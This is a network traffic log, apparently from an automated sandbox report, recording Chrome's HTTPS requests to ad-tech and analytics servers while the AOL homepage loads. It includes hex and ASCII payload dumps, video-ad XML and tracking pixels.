2024-05-23 22:35:10 UTC	1390	IN	Data Raw: 33 35 31 32 36 39 38 22 2c 31 5d 2c 5b 22 31 30 33 35 32 30 38 22 2c 31 5d 2c 5b 22 31 30 33 35 39 35 37 22 2c 31 5d 2c 5b 22 31 30 33 36 37 34 35 22 2c 31 5d 2c 5b 22 31 30 33 36 38 34 30 22 2c 31 5d 2c 5b 22 31 30 33 37 36 33 34 22 2c 31 5d 2c 5b 22 31 30 33 38 34 36 33 22 2c 31 5d 2c 5b 22 31 30 33 39 30 38 35 22 2c 31 5d 2c 5b 22 31 30 33 39 31 37 38 22 2c 31 5d 2c 5b 22 31 30 34 30 39 38 36 22 2c 31 5d 2c 5b 22 31 30 34 31 34 31 37 22 2c 31 5d 2c 5b 22 31 30 34 32 37 36 37 22 2c 31 5d 2c 5b 22 31 30 34 32 38 31 33 33 31 22 2c 31 5d 2c 5b 22 31 30 34 33 35 36 38 22 2c 31 5d 2c 5b 22 31 30 34 33 39 35 36 22 2c 31 5d 2c 5b 22 31 30 34 34 35 30 38 22 2c 31 5d 2c 5b 22 31 30 34 35 31 38 37 22 2c 31 5d 2c 5b 22 31 30 34 35 37 36 34 37 22 2c 31 5d 2c 5b 22 Data Ascii: 3512698",1],["1035208",1],["1035957",1],["1036745",1],["1036840",1],["1037634",1],["1038463",1],["1039085",1],["1039178",1],["1040986",1],["1041417",1],["1042767",1],["104281331",1],["1043568",1],["1043956",1],["1044508",1],["1045187",1],["10457647",1],["
2024-05-23 22:35:10 UTC	1390	IN	Data Raw: 5b 22 31 31 34 34 39 32 36 37 22 2c 31 5d 2c 5b 22 31 31 35 32 32 36 38 22 2c 31 5d 2c 5b 22 31 31 35 32 33 37 35 22 2c 31 5d 2c 5b 22 31 31 36 33 32 36 32 36 36 22 2c 31 5d 2c 5b 22 31 31 37 32 32 32 36 38 22 2c 31 5d 2c 5b 22 31 31 37 33 39 37 36 37 22 2c 31 5d 2c 5b 22 31 31 37 36 32 38 32 37 22 2c 31 5d 2c 5b 22 31 31 37 36 39 34 34 39 22 2c 31 5d 2c 5b 22 31 31 37 37 35 32 32 30 32 22 2c 31 5d 2c 5b 22 31 31 39 32 31 31 32 35 22 2c 31 5d 2c 5b 22 31 31 39 32 33 36 31 39 37 22 2c 31 5d 2c 5b 22 31 32 30 35 36 38 32 38 37 22 2c 31 5d 2c 5b 22 31 32 30 35 37 33 31 22 2c 31 5d 2c 5b 22 31 32 30 35 37 39 36 22 2c 31 5d 2c 5b 22 31 32 31 31 32 34 35 39 34 22 2c 31 5d 2c 5b 22 31 32 33 33 32 30 34 38 37 22 2c 31 5d 2c 5b 22 31 32 34 31 32 37 31 37 33 22 2c Data Ascii: ["11449267",1],["1152268",1],["1152375",1],["116326266",1],["11722268",1],["11739767",1],["11762827",1],["11769449",1],["117752202",1],["11921125",1],["119236197",1],["120568287",1],["1205731",1],["1205796",1],["121124594",1],["123320487",1],["124127173",
2024-05-23 22:35:10 UTC	1390	IN	Data Raw: 22 31 38 32 39 30 35 33 39 22 2c 31 5d 2c 5b 22 31 38 34 38 39 39 34 35 22 2c 31 5d 2c 5b 22 31 38 36 38 33 35 32 22 2c 31 5d 2c 5b 22 31 38 37 32 38 31 37 31 31 22 2c 31 5d 2c 5b 22 31 38 37 34 32 38 34 22 2c 31 5d 2c 5b 22 31 38 38 39 30 38 31 33 22 2c 31 5d 2c 5b 22 31 38 39 38 33 35 32 38 22 2c 31 5d 2c 5b 22 31 39 30 32 35 30 34 32 22 2c 31 5d 2c 5b 22 31 39 30 38 35 30 35 34 36 22 2c 31 5d 2c 5b 22 31 39 31 34 31 39 35 31 22 2c 31 5d 2c 5b 22 31 39 32 37 31 32 32 32 22 2c 31 5d 2c 5b 22 31 39 32 39 30 36 32 37 22 2c 31 5d 2c 5b 22 31 39 33 37 36 35 35 22 2c 31 5d 2c 5b 22 31 39 33 37 37 38 31 32 22 2c 31 5d 2c 5b 22 31 39 34 34 38 36 37 32 22 2c 31 5d 2c 5b 22 31 39 35 36 36 30 37 37 34 22 2c 31 5d 2c 5b 22 31 39 36 34 31 35 35 36 22 2c 31 5d 2c 5b Data Ascii: "18290539",1],["18489945",1],["1868352",1],["187281711",1],["1874284",1],["18890813",1],["18983528",1],["19025042",1],["190850546",1],["19141951",1],["19271222",1],["19290627",1],["1937655",1],["19377812",1],["19448672",1],["195660774",1],["19641556",1],[
2024-05-23 22:35:10 UTC	1390	IN	Data Raw: 5d 2c 5b 22 32 34 37 34 36 37 37 39 22 2c 31 5d 2c 5b 22 32 34 39 37 31 36 37 36 22 2c 31 5d 2c 5b 22 32 35 32 32 39 30 31 34 22 2c 31 5d 2c 5b 22 32 35 32 33 31 37 36 22 2c 31 5d 2c 5b 22 32 35 32 36 38 36 36 22 2c 31 5d 2c 5b 22 32 35 33 38 31 34 34 22 2c 31 5d 2c 5b 22 32 35 34 33 30 35 36 35 22 2c 31 5d 2c 5b 22 32 35 34 33 39 35 32 22 2c 31 5d 2c 5b 22 32 35 36 31 34 39 31 22 2c 31 5d 2c 5b 22 32 35 38 30 37 38 36 22 2c 31 5d 2c 5b 22 32 35 38 31 30 33 32 22 2c 31 5d 2c 5b 22 32 36 30 38 36 31 38 39 22 2c 31 5d 2c 5b 22 32 36 31 34 35 38 34 22 2c 31 5d 2c 5b 22 32 36 33 30 30 33 32 30 22 2c 31 5d 2c 5b 22 32 37 30 32 31 32 37 34 22 2c 31 5d 2c 5b 22 32 37 30 37 36 37 32 31 22 2c 31 5d 2c 5b 22 32 37 31 34 34 34 36 22 2c 31 5d 2c 5b 22 32 37 31 39 31 Data Ascii: ],["24746779",1],["24971676",1],["25229014",1],["2523176",1],["2526866",1],["2538144",1],["25430565",1],["2543952",1],["2561491",1],["2580786",1],["2581032",1],["26086189",1],["2614584",1],["26300320",1],["27021274",1],["27076721",1],["2714446",1],["27191

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
551	192.168.2.6	50358	35.204.158.49	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:10 UTC	534	OUT	GET /pubmatic?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9ODA2JnRsPTUxODQwMA==&piggybackCookie=uid:$UID&gdpr=0&gdpr_consent= HTTP/1.1 Host: um.simpli.fi Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=C3E3B1BC7A434D6BB70BF025F9AF69E8
2024-05-23 22:35:10 UTC	552	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:10 GMT Content-Type: image/gif Content-Length: 43 Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT Connection: close Expires: Wed, 22 May 2024 22:35:10 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-05-23 22:35:10 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
552	192.168.2.6	50377	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:10 UTC	1992	OUT	GET /v1/evp/asset?bcid=5afc769f7239855a15fcee15&pid=5afc75ea3a04293dad9f1a1f&secure=true&rssId=42b897a6-9771-3329-b351-69a701a77438&firstVideo=true&height=276&width=368&sid=c32aa27e-7796-468d-8df4-0e2b43fa14aa&show_name=AP&site=aolhomepage&region=US&lang=en-US&space_id=1197803361&experience=aolhomepage&expn=aolhomepage&expb=aol-acookie-control%2Caol-aa-1&b_id=39ed8tlj4vh45&licensor_id=a077000000IpoJiAAJ&us_privacy=1YNN&isDockable=false&m.type=VOD&device=desktop&v=1&f=json&s2s=true&gdpr=false&content_len=68&content_title=3+Things+to+Know%3A+Graceland%2C+Prince+William%2C+Barrymore&content_id=6bdcc9b44e4944e0afb2acf2b5e6c7e6&gpp=DBAA&gpp_sid=-1&pver=1.6.29&aver=3.642.0&country=US&state=California&state_code=CA&place=90013&place_type=zip&ad.plseq=1&ad.pct=aol&ad.pl=up&ad.pt=home&ad.pubfamily=aol&pos=preroll&evp=bcp&fmt=vmap&ps=b2be1uzt&r=https%3A%2F%2Fwww.aol.com%2F&givn=[GOOGLE_INSTREAM_VIDEO_NONCE]&pbckt=Treatment_Oath_Player&npa=0&ltd=0&ppid= HTTP/1.1 Host: tb.pbs.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; A1=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; A1S=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiI5MTY1OTY1Mzk3NTEwNDUzNTg2IiwiZXhwaXJlcyI6IjIwMjQtMDYtMDZUMjI6MzU6MDYuODY0MjcwMDQxWiJ9LCJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifSwidHRkIjp7InVpZCI6IjNlMDc3YmI0LWJmNGEtNGMxOS05MzNlLWM5OGRkZDg4MTQyZSIsImV4cGlyZXMiOiIyMDI0LTA2LTA2VDIyOjM1OjA0LjY5NTM4MDY5NFoifX19
2024-05-23 22:35:11 UTC	563	IN	HTTP/1.1 200 OK server: ATS strict-transport-security: max-age=31536000 content-type: application/xml content-length: 11629 date: Thu, 23 May 2024 22:35:10 GMT x-envoy-upstream-service-time: 256 x-envoy-decorator-operation: thunderball--production-ir2.video--thunderball-server-k8s.svc.yahoo.local:4080/* Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:35:11 UTC	599	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 20 73 74 61 6e 64 61 6c 6f 6e 65 3d 22 6e 6f 22 3f 3e 0a 3c 76 6d 61 70 3a 56 4d 41 50 20 78 6d 6c 6e 73 3a 76 6d 61 70 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 69 61 62 2e 6e 65 74 2f 76 69 64 65 6f 73 75 69 74 65 2f 76 6d 61 70 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 0a 09 3c 76 6d 61 70 3a 41 64 42 72 65 61 6b 20 62 72 65 61 6b 49 64 3d 22 62 45 4f 6d 5a 6e 6f 41 47 73 4d 62 66 58 59 74 22 20 62 72 65 61 6b 54 79 70 65 3d 22 6c 69 6e 65 61 72 22 20 74 69 6d 65 4f 66 66 73 65 74 3d 22 73 74 61 72 74 22 3e 0a 09 09 3c 76 6d 61 70 3a 41 64 53 6f 75 72 63 65 3e 0a 09 09 09 3c 76 6d 61 70 3a 56 41 53 54 41 64 44 61 74 61 3e 0a 09 09 09 09 3c 56 Data Ascii: <?xml version="1.0" encoding="UTF-8" standalone="no"?><vmap:VMAP xmlns:vmap="http://www.iab.net/videosuite/vmap" version="1.0"><vmap:AdBreak breakId="bEOmZnoAGsMbfXYt" breakType="linear" timeOffset="start"><vmap:AdSource><vmap:VASTAdData><V
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 74 26 67 64 66 70 5f 72 65 71 3d 31 26 65 6e 76 3d 76 70 26 73 7a 3d 36 34 30 78 34 38 30 26 74 66 63 64 3d 30 26 75 6e 76 69 65 77 65 64 5f 70 6f 73 69 74 69 6f 6e 5f 73 74 61 72 74 3d 31 26 76 70 61 3d 63 6c 69 63 6b 26 76 70 6d 75 74 65 3d 30 26 76 70 6f 73 3d 70 72 65 72 6f 6c 6c 26 63 6f 72 72 65 6c 61 74 6f 72 3d 31 37 31 36 35 30 33 37 31 30 36 36 32 26 75 72 6c 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 61 6f 6c 2e 63 6f 6d 25 32 46 26 64 65 73 63 72 69 70 74 69 6f 6e 5f 75 72 6c 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 61 6f 6c 2e 63 6f 6d 25 32 46 26 67 70 70 3d 44 42 41 41 26 67 70 70 5f 73 69 64 3d 2d 31 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 75 73 5f 70 72 69 76 61 63 79 3d 31 59 4e 4e Data Ascii: t&gdfp_req=1&env=vp&sz=640x480&tfcd=0&unviewed_position_start=1&vpa=click&vpmute=0&vpos=preroll&correlator=1716503710662&url=https%3A%2F%2Fwww.aol.com%2F&description_url=https%3A%2F%2Fwww.aol.com%2F&gpp=DBAA&gpp_sid=-1&gdpr=0&gdpr_consent=&us_privacy=1YNN
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 64 3d 6e 75 6c 6c 26 70 63 74 3d 61 6f 6c 26 72 5f 63 6f 64 65 3d 31 26 63 72 69 64 3d 6e 75 6c 6c 26 76 5f 63 72 5f 69 64 3d 6e 75 6c 6c 26 61 64 69 64 3d 6e 75 6c 6c 26 70 6c 63 69 64 3d 75 73 5f 61 6f 6c 5f 68 70 5f 64 74 5f 76 69 64 65 6f 26 61 64 73 65 71 3d 31 26 66 5f 63 61 6c 6c 3d 70 62 73 2e 79 61 68 6f 6f 2e 63 6f 6d 26 66 5f 68 6f 70 3d 6e 75 6c 6c 26 6c 5f 68 6f 70 3d 6e 75 6c 6c 26 6e 5f 68 6f 70 3d 6e 75 6c 6c 26 73 6b 69 70 70 61 62 6c 65 3d 6e 75 6c 6c 26 74 61 6b 65 6e 3d 31 26 6d 65 64 53 3d 31 26 6d 74 79 70 65 3d 6e 75 6c 6c 26 6e 74 77 6b 3d 50 72 65 62 69 64 2b 59 61 68 6f 6f 2b 2d 2b 44 65 73 6b 74 6f 70 2b 2d 2b 45 56 2b 50 6c 61 79 65 72 26 70 6f 73 3d 70 72 65 72 6f 6c 6c 26 72 75 6c 65 3d 36 31 64 34 65 33 31 35 2d 34 61 66 65 Data Ascii: d=null&pct=aol&r_code=1&crid=null&v_cr_id=null&adid=null&plcid=us_aol_hp_dt_video&adseq=1&f_call=pbs.yahoo.com&f_hop=null&l_hop=null&n_hop=null&skippable=null&taken=1&medS=1&mtype=null&ntwk=Prebid+Yahoo+-+Desktop+-+EV+Player&pos=preroll&rule=61d4e315-4afe
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 5f 63 6f 64 65 3d 33 26 63 72 69 64 3d 6e 75 6c 6c 26 76 5f 63 72 5f 69 64 3d 6e 75 6c 6c 26 61 64 69 64 3d 6e 75 6c 6c 26 70 6c 63 69 64 3d 25 32 46 32 32 38 38 38 31 35 32 32 37 39 25 32 46 75 73 25 32 46 61 6f 6c 25 32 46 68 70 25 32 46 64 74 25 32 46 75 73 5f 61 6f 6c 5f 68 70 5f 64 74 5f 76 69 64 65 6f 26 61 64 73 65 71 3d 32 26 66 5f 63 61 6c 6c 3d 70 75 62 61 64 73 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 26 66 5f 68 6f 70 3d 6e 75 6c 6c 26 6c 5f 68 6f 70 3d 6e 75 6c 6c 26 6e 5f 68 6f 70 3d 6e 75 6c 6c 26 73 6b 69 70 70 61 62 6c 65 3d 6e 75 6c 6c 26 74 61 6b 65 6e 3d 31 26 6d 65 64 53 3d 32 26 6d 74 79 70 65 3d 6e 75 6c 6c 26 6e 74 77 6b 3d 47 41 4d 2b 2d 2b 44 65 73 6b 74 6f 70 2b 2d 2b 45 56 2b 50 6c 61 79 65 72 26 70 6f 73 3d 70 72 Data Ascii: _code=3&crid=null&v_cr_id=null&adid=null&plcid=%2F22888152279%2Fus%2Faol%2Fhp%2Fdt%2Fus_aol_hp_dt_video&adseq=2&f_call=pubads.g.doubleclick.net&f_hop=null&l_hop=null&n_hop=null&skippable=null&taken=1&medS=2&mtype=null&ntwk=GAM+-+Desktop+-+EV+Player&pos=pr
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 61 6f 6c 25 32 46 68 70 25 32 46 64 74 25 32 46 75 73 5f 61 6f 6c 5f 68 70 5f 64 74 5f 76 69 64 65 6f 26 61 64 73 65 71 3d 32 26 66 5f 63 61 6c 6c 3d 70 75 62 61 64 73 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 26 66 5f 68 6f 70 3d 6e 75 6c 6c 26 6c 5f 68 6f 70 3d 6e 75 6c 6c 26 6e 5f 68 6f 70 3d 6e 75 6c 6c 26 73 6b 69 70 70 61 62 6c 65 3d 6e 75 6c 6c 26 74 61 6b 65 6e 3d 31 26 6d 65 64 53 3d 32 26 6d 74 79 70 65 3d 6e 75 6c 6c 26 6e 74 77 6b 3d 47 41 4d 2b 2d 2b 44 65 73 6b 74 6f 70 2b 2d 2b 45 56 2b 50 6c 61 79 65 72 26 70 6f 73 3d 70 72 65 72 6f 6c 6c 26 72 75 6c 65 3d 61 64 30 61 37 34 31 63 2d 35 39 33 33 2d 34 33 62 34 2d 39 30 39 65 2d 62 66 36 61 37 39 61 33 38 63 62 39 26 69 62 6e 3d 55 53 2b 2d 2b 41 4f 4c 2b 2d 2b 48 6f 6d 65 70 61 Data Ascii: aol%2Fhp%2Fdt%2Fus_aol_hp_dt_video&adseq=2&f_call=pubads.g.doubleclick.net&f_hop=null&l_hop=null&n_hop=null&skippable=null&taken=1&medS=2&mtype=null&ntwk=GAM+-+Desktop+-+EV+Player&pos=preroll&rule=ad0a741c-5933-43b4-909e-bf6a79a38cb9&ibn=US+-+AOL+-+Homepa
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 64 73 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 26 66 5f 68 6f 70 3d 6e 75 6c 6c 26 6c 5f 68 6f 70 3d 6e 75 6c 6c 26 6e 5f 68 6f 70 3d 6e 75 6c 6c 26 73 6b 69 70 70 61 62 6c 65 3d 6e 75 6c 6c 26 74 61 6b 65 6e 3d 31 26 6d 65 64 53 3d 32 26 6d 74 79 70 65 3d 6e 75 6c 6c 26 6e 74 77 6b 3d 47 41 4d 2b 2d 2b 44 65 73 6b 74 6f 70 2b 2d 2b 45 56 2b 50 6c 61 79 65 72 26 70 6f 73 3d 70 72 65 72 6f 6c 6c 26 72 75 6c 65 3d 61 64 30 61 37 34 31 63 2d 35 39 33 33 2d 34 33 62 34 2d 39 30 39 65 2d 62 66 36 61 37 39 61 33 38 63 62 39 26 69 62 6e 3d 55 53 2b 2d 2b 41 4f 4c 2b 2d 2b 48 6f 6d 65 70 61 67 65 2b 2d 2b 44 65 73 6b 74 6f 70 2b 2d 2b 56 69 64 65 6f 26 74 62 49 64 3d 6d 70 78 76 77 64 62 76 57 67 6e 63 54 69 47 58 26 72 5f 74 79 70 65 3d 33 26 61 64 Data Ascii: ds.g.doubleclick.net&f_hop=null&l_hop=null&n_hop=null&skippable=null&taken=1&medS=2&mtype=null&ntwk=GAM+-+Desktop+-+EV+Player&pos=preroll&rule=ad0a741c-5933-43b4-909e-bf6a79a38cb9&ibn=US+-+AOL+-+Homepage+-+Desktop+-+Video&tbId=mpxvwdbvWgncTiGX&r_type=3&ad
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 2d 2b 45 56 2b 50 6c 61 79 65 72 26 70 6f 73 3d 70 72 65 72 6f 6c 6c 26 72 75 6c 65 3d 36 31 64 34 65 33 31 35 2d 34 61 66 65 2d 34 32 61 34 2d 39 66 65 34 2d 63 35 36 38 64 36 65 37 31 38 37 33 26 69 62 6e 3d 55 53 2b 2d 2b 41 4f 4c 2b 2d 2b 48 6f 6d 65 70 61 67 65 2b 2d 2b 44 65 73 6b 74 6f 70 2b 2d 2b 56 69 64 65 6f 2b 50 72 65 62 69 64 26 74 62 49 64 3d 6d 70 78 76 77 64 62 76 57 67 6e 63 54 69 47 58 26 72 5f 74 79 70 65 3d 31 26 61 64 5f 73 79 73 3d 6e 75 6c 6c 26 63 66 6c 76 3d 6e 75 6c 6c 26 63 6a 73 3d 6e 75 6c 6c 26 63 6d 70 34 3d 6e 75 6c 6c 26 63 73 77 66 3d 6e 75 6c 6c 26 63 77 62 6d 3d 6e 75 6c 6c 26 63 6d 33 75 38 3d 6e 75 6c 6c 26 63 70 6e 67 3d 6e 75 6c 6c 26 63 6a 70 67 3d 6e 75 6c 6c 26 70 62 62 69 64 3d 37 6d 37 32 66 34 70 6a 34 76 68 Data Ascii: -+EV+Player&pos=preroll&rule=61d4e315-4afe-42a4-9fe4-c568d6e71873&ibn=US+-+AOL+-+Homepage+-+Desktop+-+Video+Prebid&tbId=mpxvwdbvWgncTiGX&r_type=1&ad_sys=null&cflv=null&cjs=null&cmp4=null&cswf=null&cwbm=null&cm3u8=null&cpng=null&cjpg=null&pbbid=7m72f4pj4vh
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 47 41 4d 2b 2d 2b 44 65 73 6b 74 6f 70 2b 2d 2b 45 56 2b 50 6c 61 79 65 72 26 70 6f 73 3d 70 72 65 72 6f 6c 6c 26 72 75 6c 65 3d 61 64 30 61 37 34 31 63 2d 35 39 33 33 2d 34 33 62 34 2d 39 30 39 65 2d 62 66 36 61 37 39 61 33 38 63 62 39 26 69 62 6e 3d 55 53 2b 2d 2b 41 4f 4c 2b 2d 2b 48 6f 6d 65 70 61 67 65 2b 2d 2b 44 65 73 6b 74 6f 70 2b 2d 2b 56 69 64 65 6f 26 74 62 49 64 3d 6d 70 78 76 77 64 62 76 57 67 6e 63 54 69 47 58 26 72 5f 74 79 70 65 3d 33 26 61 64 5f 73 79 73 3d 6e 75 6c 6c 26 63 66 6c 76 3d 6e 75 6c 6c 26 63 6a 73 3d 6e 75 6c 6c 26 63 6d 70 34 3d 6e 75 6c 6c 26 63 73 77 66 3d 6e 75 6c 6c 26 63 77 62 6d 3d 6e 75 6c 6c 26 63 6d 33 75 38 3d 6e 75 6c 6c 26 63 70 6e 67 3d 6e 75 6c 6c 26 63 6a 70 67 3d 6e 75 6c 6c 26 70 62 62 69 64 3d 37 6d 37 32 Data Ascii: GAM+-+Desktop+-+EV+Player&pos=preroll&rule=ad0a741c-5933-43b4-909e-bf6a79a38cb9&ibn=US+-+AOL+-+Homepage+-+Desktop+-+Video&tbId=mpxvwdbvWgncTiGX&r_type=3&ad_sys=null&cflv=null&cjs=null&cmp4=null&cswf=null&cwbm=null&cm3u8=null&cpng=null&cjpg=null&pbbid=7m72
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 26 69 62 6e 3d 55 53 2b 2d 2b 41 4f 4c 2b 2d 2b 48 6f 6d 65 70 61 67 65 2b 2d 2b 44 65 73 6b 74 6f 70 2b 2d 2b 56 69 64 65 6f 26 74 62 49 64 3d 6d 70 78 76 77 64 62 76 57 67 6e 63 54 69 47 58 26 72 5f 74 79 70 65 3d 33 26 61 64 5f 73 79 73 3d 6e 75 6c 6c 26 63 66 6c 76 3d 6e 75 6c 6c 26 63 6a 73 3d 6e 75 6c 6c 26 63 6d 70 34 3d 6e 75 6c 6c 26 63 73 77 66 3d 6e 75 6c 6c 26 63 77 62 6d 3d 6e 75 6c 6c 26 63 6d 33 75 38 3d 6e 75 6c 6c 26 63 70 6e 67 3d 6e 75 6c 6c 26 63 6a 70 67 3d 6e 75 6c 6c 26 70 62 62 69 64 3d 37 6d 37 32 66 34 70 6a 34 76 68 34 75 3b 61 64 30 61 37 34 31 63 2d 35 39 33 33 2d 34 33 62 34 26 74 6d 6f 75 74 3d 33 30 30 30 26 61 64 6c 3d 30 26 61 64 5f 6c 6e 67 3d 6e 75 6c 6c 26 74 62 76 65 72 3d 31 2e 30 2e 30 2e 31 37 31 36 33 31 38 33 39 Data Ascii: &ibn=US+-+AOL+-+Homepage+-+Desktop+-+Video&tbId=mpxvwdbvWgncTiGX&r_type=3&ad_sys=null&cflv=null&cjs=null&cmp4=null&cswf=null&cwbm=null&cm3u8=null&cpng=null&cjpg=null&pbbid=7m72f4pj4vh4u;ad0a741c-5933-43b4&tmout=3000&adl=0&ad_lng=null&tbver=1.0.0.171631839
2024-05-23 22:35:11 UTC	630	IN	Data Raw: 65 3d 33 26 61 64 5f 73 79 73 3d 6e 75 6c 6c 26 63 66 6c 76 3d 6e 75 6c 6c 26 63 6a 73 3d 6e 75 6c 6c 26 63 6d 70 34 3d 6e 75 6c 6c 26 63 73 77 66 3d 6e 75 6c 6c 26 63 77 62 6d 3d 6e 75 6c 6c 26 63 6d 33 75 38 3d 6e 75 6c 6c 26 63 70 6e 67 3d 6e 75 6c 6c 26 63 6a 70 67 3d 6e 75 6c 6c 26 70 62 62 69 64 3d 37 6d 37 32 66 34 70 6a 34 76 68 34 75 3b 61 64 30 61 37 34 31 63 2d 35 39 33 33 2d 34 33 62 34 26 74 6d 6f 75 74 3d 33 30 30 30 26 61 64 6c 3d 30 26 61 64 5f 6c 6e 67 3d 6e 75 6c 6c 26 74 62 76 65 72 3d 31 2e 30 2e 30 2e 31 37 31 36 33 31 38 33 39 38 26 61 64 66 6d 74 3d 6e 75 6c 6c 26 68 62 72 3d 6e 75 6c 6c 26 6c 73 63 70 3d 6e 75 6c 6c 26 63 69 6d 70 3d 6e 75 6c 6c 26 74 62 63 6b 74 3d 70 72 6f 64 26 70 6c 5f 62 63 6b 74 3d 70 72 6f 64 26 6f 6d 69 64 Data Ascii: e=3&ad_sys=null&cflv=null&cjs=null&cmp4=null&cswf=null&cwbm=null&cm3u8=null&cpng=null&cjpg=null&pbbid=7m72f4pj4vh4u;ad0a741c-5933-43b4&tmout=3000&adl=0&ad_lng=null&tbver=1.0.0.1716318398&adfmt=null&hbr=null&lscp=null&cimp=null&tbckt=prod&pl_bckt=prod&omid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
553	192.168.2.6	50362	18.244.18.122	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:10 UTC	617	OUT	GET /p2?c1=2&c2=1000009&c5=1197803361&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&c14=-1&gdpr=0&gdpr_consent=&cs_ucfr=1&ns_c=UTF-8&ns__t=1716503684011 HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: UID=100458df32184cbdda853d11716503699
2024-05-23 22:35:10 UTC	364	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 43 Connection: close Date: Thu, 23 May 2024 22:35:10 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 5c21b2b6b5e8901cc7633407000764f0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P11 X-Amz-Cf-Id: eDSMSBV2gDVCJxlW4-7c2FPQCy5j4fdqbqDeBNJHOfJ_PjSllMGe6w==
2024-05-23 22:35:10 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
554	192.168.2.6	50387	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
